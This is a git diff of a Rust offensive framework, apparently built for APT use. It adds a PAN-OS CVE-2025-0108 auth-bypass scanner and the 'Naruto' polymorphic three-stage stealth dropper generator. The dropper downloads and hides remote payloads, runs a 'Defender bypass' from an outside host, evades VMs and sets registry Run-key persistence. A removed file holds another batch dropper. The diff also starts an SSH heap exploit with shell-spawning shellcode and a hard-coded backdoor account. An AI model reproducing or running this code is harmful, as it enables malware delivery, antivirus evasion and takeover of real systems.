pub mod sample_exploit;
pub mod payloadgens;
pub mod camera;
pub mod router;
pub mod tplink;
pub mod ssh;
pub mod spotube;
pub mod ftp;
pub mod zabbix;
pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palto_alto;
+1
View File
@@ -0,0 +1 @@
pub mod panos_authbypass_cve_2025_0108;
@@ -0,0 +1,131 @@
// Filename: cve_2025_0108.rs
use anyhow::{Result, bail};
use colored::*;
use reqwest::Client;
use std::{
fs::File,
io::{self, BufRead, BufReader, Write},
process::Command,
time::Duration,
};
use url::Url;
/// // CVE-2025-0108 - PanOS Authentication Bypass
/// // Author: iSee857
/// // Ported to Rust by ethical hacker daniel for APT use
/// // Displays module banner
fn banner() {
println!(
"{}",
r#"
****************************************************
* CVE-2025-0108 *
* PanOs 身份认证绕过漏洞 *
* 作者: iSee857 *
****************************************************
"#
.cyan()
);
}
/// // Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
let file = File::open(file_path)?;
let reader = BufReader::new(file);
Ok(reader.lines().filter_map(Result::ok).collect())
}
/// // Normalize IPv6 host with double or triple brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// // Constructs the full normalized URL
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
let host = normalize_ipv6_host(host);
let base = format!("{}{}:{}", proto, host, port);
Url::parse(&base).ok().map(|u| u.to_string())
}
/// // Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
let cmd = Command::new("xdg-open").arg(url).spawn();
#[cfg(target_os = "windows")]
let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
#[cfg(target_os = "macos")]
let cmd = Command::new("open").arg(url).spawn();
if cmd.is_err() {
bail!("Could not open default browser.");
}
Ok(())
}
/// // Executes CVE-2025-0108 check
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
for proto in &protocols {
if let Some(base_url) = normalize_url(url, port, proto) {
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
println!("{}", full_url);
let resp = client.get(&full_url).send().await;
if let Ok(res) = resp {
let status = res.status();
let body = res.text().await.unwrap_or_default();
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
);
let _ = open_browser(&full_url);
return Ok(true);
}
}
}
}
Ok(false)
}
/// // Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("Enter target port (default 443): ");
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
for url in urls {
let _ = check(&url, port, &client).await;
}
} else {
let _ = check(target, port, &client).await;
}
Ok(())
}
@@ -1,141 +0,0 @@
use anyhow::Result;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
io::{self, Write},
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{prompt}");
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
+1 -1
View File
@@ -1,2 +1,2 @@
pub mod payloadgenbat;
pub mod narutto_dropper;
pub mod batgen;
@@ -0,0 +1,320 @@
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // User provides: PS1 download link, final batch name, output .ps1 name
// // All temp/var names randomized, batch logic randomized, anti-VM checks
use rand::prelude::*;
use anyhow::Result;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
use tokio::io::AsyncWriteExt;
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
pub fn print_welcome_naruto() {
println!(r#"
======================== WELCOME TO NARUTO ========================
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
------------------------------------------------------------------
- Prompts for: Powershell payload download URL, output names
- Generates a highly randomized batch dropper
- All variable, file, registry names are randomized per build
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
- Final stage ensures persistence via HKCU registry
- Decoy files and diagnostic noise included for stealth
- 100% open source and ready for advanced red-team ops
==================================================================
"#);
}
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // - User provides: PS1 download link, final batch name, output .ps1 name
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
/// // List of random banner phrases for added entropy
const BANNERS: &[&str] = &[
"診断ユーティリティを実行中...",
"ネットワーク診断開始...",
"管理者用システムテスト...",
"環境チェック実行中...",
"お待ちください。検証中...",
];
/// // Decoy files for download/cover noise
const DECOY_FILES: &[&str] = &[
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
];
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
fn rand_var_name(base: &str) -> String {
let mut rng = rng();
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
let mut name = base.to_string();
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
name.push('_');
name.push_str(&rng.random_range(1000..9999).to_string());
name
}
/// // Shuffles and emits randomized diagnostic steps (adds noise)
fn shuffled_diag_steps() -> Vec<String> {
let steps = vec![
"netsh winsock show catalog ^>nul",
"fsutil behavior query DisableDeleteNotify ^>nul",
"dcomcnfg /32 ^>nul",
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
"netstat -bno ^>nul",
"route print ^>nul",
"sc queryex type= service ^>nul",
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
"wmic cpu get loadpercentage ^>nul",
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
"reg query HKLM\\SOFTWARE ^>nul",
];
let mut steps_mut = steps.clone();
let mut rng = rng();
steps_mut.shuffle(&mut rng);
steps_mut
.into_iter()
.enumerate()
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
.collect()
}
/// // Pick a random banner for the batch
fn rand_banner() -> &'static str {
let mut rng = rng();
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
}
/// // Shuffle decoy filenames for the decoy download section
fn shuffled_decoys() -> Vec<String> {
let mut rng = rng();
let mut files = DECOY_FILES.to_vec();
files.shuffle(&mut rng);
files.into_iter().map(|f| f.to_string()).collect()
}
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
format!(r#"
REM Anti-VM/Sandbox (basic)
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{uptime}=%{uptime}:~0,8%"
REM Pause if booted < 3 min ago
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
set /a "{boot_time}=!{now}! - !{uptime}!"
if !{boot_time}! lss 3000000 (
echo [*] Recent boot detected. Pausing.
call :SleepS 60
)
REM RAM check (<=2048 MB is suspicious)
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
set /a "{ram_mb}=(!{ram}!)/1048576"
if !{ram_mb}! lss 2048 (
echo [*] Low RAM detected. Pausing.
call :SleepS 120
)
REM Check VM drivers
set "{vmfound}=0"
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
driverquery | findstr /I %%X >nul
if not errorlevel 1 set "{vmfound}=1"
)
"#,
uptime=rand_vars[0],
boot=rand_vars[1],
now=rand_vars[2],
boot_time=rand_vars[3],
ram=rand_vars[4],
ram_mb=rand_vars[5],
vmfound=rand_vars[6],
)
}
/// // == Stage 3 (PERSIST) ==
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
format!(r#"
@echo off
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Run payload saved as .ps1 (actually an EXE)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
REM Cleanup
exit
"#,
ps1_name=ps1_name,
reg=rand_vars[0],
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
)
}
/// // == Stage 2 ==
fn build_stage2(
url_exe: &str,
ps1_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let stage3_content = build_stage3(ps1_name, rand_vars);
let mut tpl = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM Anti-VM/Sandbox
{antivm}
REM Download EXE payload and save as .ps1
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
REM Write Stage 3
set "{stage3}=%~dp0{stage3_name}"
("#,
url_exe = url_exe,
ps1_name = ps1_name,
stage3_name = stage3_name,
stage3 = rand_vars[8],
antivm = build_anti_vm_batch(&[
&rand_vars[9], &rand_vars[10], &rand_vars[11],
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
]),
);
for line in stage3_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
r#") > "%{}%"
REM Run Stage 3
call "%{}%"
REM Cleanup
exit
"#,
rand_vars[8], rand_vars[8]
));
tpl
}
/// // == Stage 1 ==
fn build_stage1(
url_exe: &str,
decoy_urls: &[&str],
ps1_name: &str,
stage2_name: &str,
stage3_name: &str,
rand_vars: &[String],
) -> String {
let batch_var = rand_var_name("DIAG");
let random_sleep_lo = rng().random_range(1..4);
let random_sleep_hi = rng().random_range(4..8);
let banner = rand_banner();
let mut tpl = format!(r#"@echo off
setlocal enabledelayedexpansion
REM Defender Bypass
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
:SleepS
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ - {banner}]
color 0A
set "{batch_var}_init=1"
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] {banner}
call :SleepS {random_sleep_lo}
"#,
banner = banner,
batch_var = batch_var,
random_sleep_lo = random_sleep_lo,
);
tpl.push_str(&build_anti_vm_batch(&[
&rand_vars[16], &rand_vars[17], &rand_vars[18],
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
]));
for line in shuffled_diag_steps() {
tpl.push_str(&format!("{}\n", line));
}
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
random_sleep_hi = random_sleep_hi,
random_sleep_lo = random_sleep_lo,
));
let decoys = shuffled_decoys();
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
let url = decoy_urls[i];
tpl.push_str(&format!(
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
url = url, decoy_name = decoy_name
));
}
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
for line in stage2_content.lines() {
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
}
tpl.push_str(&format!(
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
rand_vars[23], rand_vars[23]
));
tpl
}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
let value = input.trim();
if value.is_empty() {
default.unwrap_or("").to_string()
} else {
value.to_string()
}
}
/// // == RouterSploit-style async entry point ==
pub async fn run(_target: &str) -> Result<()> {
print_welcome_naruto();
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
let stage2_name = rand_var_name("stg2");
let stage3_name = rand_var_name("stg3");
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
let decoy_urls = vec![
"https://www.example.com/readme.txt",
"https://www.example.com/license.txt",
"https://www.example.com/update.pdf",
];
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
let mut file = TokioFile::create(&out_name).await?;
file.write_all(script.as_bytes()).await?;
file.flush().await?;
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
Ok(())
}
@@ -1,146 +0,0 @@
fn build_script(url: &str, ps1_name: &str) -> String {
let tpl = r#"@echo off
setlocal enabledelayedexpansion
:: === Delay Functions ===
:SleepS
rem Usage: call :SleepS ^<seconds^>
ping -n %1 127.0.0.1 ^>nul
goto :eof
:SleepMS
rem Usage: call :SleepMS ^<milliseconds^>
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
goto :eof
title [管理者診断ユーティリティ]
color 0A
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] 初期化中...
call :SleepS 2
:: Fake diagnostic functions
echo [INFO] ネットワークスタック確認中...
netsh winsock show catalog ^>nul
call :SleepS 1
echo [INFO] システムリソースの照会...
fsutil behavior query DisableDeleteNotify ^>nul
call :SleepS 1
echo [INFO] DCOM設定の確認...
dcomcnfg /32 ^>nul
call :SleepS 1
echo [INFO] ユーザーアクティビティを確認中...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 ^>nul
call :SleepS 1
echo [INFO] 不審な接続をスキャン中...
netstat -bno ^>nul
route print ^>nul
call :SleepS 1
echo [INFO] システムサービス確認中...
sc queryex type= service ^>nul
call :SleepS 1
echo [INFO] WMI チェック中...
wmic logicaldisk get caption,filesystem,freespace,size ^>nul
call :SleepS 1
echo [INFO] CPU 負荷チェック...
wmic cpu get loadpercentage ^>nul
call :SleepS 1
echo [INFO] メモリ空き容量チェック...
systeminfo | findstr /C:"Available Physical Memory" ^>nul
call :SleepS 1
echo [INFO] レジストリ設定検証...
reg query HKLM\SOFTWARE ^>nul
call :SleepS 1
:: 50x random sub-sleeps
echo [*] 詳細検証を実行中... (50 ステップ)
for /l %%i in (1,1,50) do (
set /a delay=(%RANDOM% %% 60) + 120
call :SleepMS !delay!
)
:: Random delay before launching stage 2
set /a mainDelay=(%RANDOM% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%mainDelay% 秒後に実行)
call :SleepS %mainDelay%
:: Build second stage BAT (stage2.bat)
set "stage2=%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo :: === Delay Functions ===
echo :SleepS
echo rem Usage: call :SleepS ^<seconds^>
echo ping -n %%1 127.0.0.1 ^>nul
echo goto :eof
echo
echo :SleepMS
echo rem Usage: call :SleepMS ^<milliseconds^>
echo powershell -Command "Start-Sleep -Milliseconds %%1" ^>nul
echo goto :eof
echo
echo title 補助診断モジュール
echo echo [*] ネットワークテストを再実行中...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo call :SleepS 2
echo echo [*] ランダム遅延を実行中...
echo set /a delay2=(%%RANDOM%% %% 8) + 3
echo call :SleepS !delay2!
echo echo [*] GitHub からモジュールを取得中...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { $wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!','!outfile!') } }"
echo if not exist "!outfile!" (
echo echo [ERROR] ダウンロードに失敗しました。
echo exit /b 1
echo )
echo call :SleepS 2
echo echo [*] ステルス起動用VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell")
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""!outfile!""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo call :SleepS 1
echo echo [*] スクリプト実行中...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo del "%%~dp0launch_hidden.vbs" ^>nul
echo del "%%stage2%%" ^>nul
echo echo [*] 補助診断完了。
) > "%stage2%"
:: Random delay before running stage 2
set /a rdelay=(%RANDOM% %% 5) + 2
echo [INFO] stage2.bat を %rdelay% 秒後に実行します...
call :SleepS %rdelay%
:: Run stage2
call "%stage2%"
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
call :SleepS 2
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
@@ -1,91 +1,135 @@
use std::io::{stdin, stdout, Write, BufRead};
use tokio::net::TcpStream;
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
use tokio::process::Command;
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
use std::sync::Arc;
use anyhow::{Result, bail};
use std::io::ErrorKind;
// // Shellcode to inject
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
// // GLIBC base addresses to brute force
const GLIBC_BASES: [u64; 2] = [0xb7200000, 0xb7400000];
// // SSH Login grace time window in seconds
const LOGIN_GRACE_TIME: f64 = 120.0;
// // Max size of a crafted packet
const MAX_PACKET_SIZE: usize = 256 * 1024;
// // Max parallel attempts at once
const LOGIN_GRACE_TIME: f64 = 120.0;
const CHUNK_ALIGN: usize = 16;
const CONCURRENCY: usize = 256;
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
const GLIBC_STEP: u64 = 0x200000;
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
// 2 MiB alignment
const GLIBC_ALIGN: u64 = 0x0020_0000;
// Lower/upper bounds for your targets glibc region
const GLIBC_LOWER: u64 = 0x7ffff7000000;
const GLIBC_UPPER: u64 = 0x7ffff9000000;
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
// Precompute how many slots are in that range
fn glibc_steps() -> u64 {
((GLIBC_UPPER - GLIBC_LOWER) / GLIBC_ALIGN) + 1
}
const BIND_SHELL_PORT: u16 = 55555;
const PERSISTENT_USER: &str = "aptpwn";
const PERSISTENT_PASS: &str = "Root4life!";
/// On-the-fly random, 2 MiB-aligned glibc base
fn random_glibc_base() -> u64 {
let steps = glibc_steps();
let idx = rand::rng().random_range(0..steps);
GLIBC_LOWER + idx * GLIBC_ALIGN
}
// // Align memory chunks
fn chunk_align(s: usize) -> usize {
(s + 15) & !15
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
}
// NEW: Normalize target address (IPv4, IPv6 with any bracket mess)
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip = ip.trim_matches(|c| c == '[' || c == ']'); // Remove any number of [ ]
if ip.contains(':') && !ip.contains('.') {
Ok(format!("[{}]:{}", ip, port)) // IPv6 must have brackets
} else {
Ok(format!("{}:{}", ip, port)) // IPv4 or hostname
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
}
// // Create TCP connection to target
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(addr).await?;
Ok(stream)
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
}
}
}
// // Send custom SSH packet
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet = vec![0u8; len];
packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet[4] = packet_type;
packet[5..].copy_from_slice(data);
stream.write_all(&packet).await?;
let mut packet_data = vec![0u8; len];
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet_data[4] = packet_type;
packet_data[5..].copy_from_slice(data);
stream.write_all(&packet_data).await?;
Ok(())
}
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
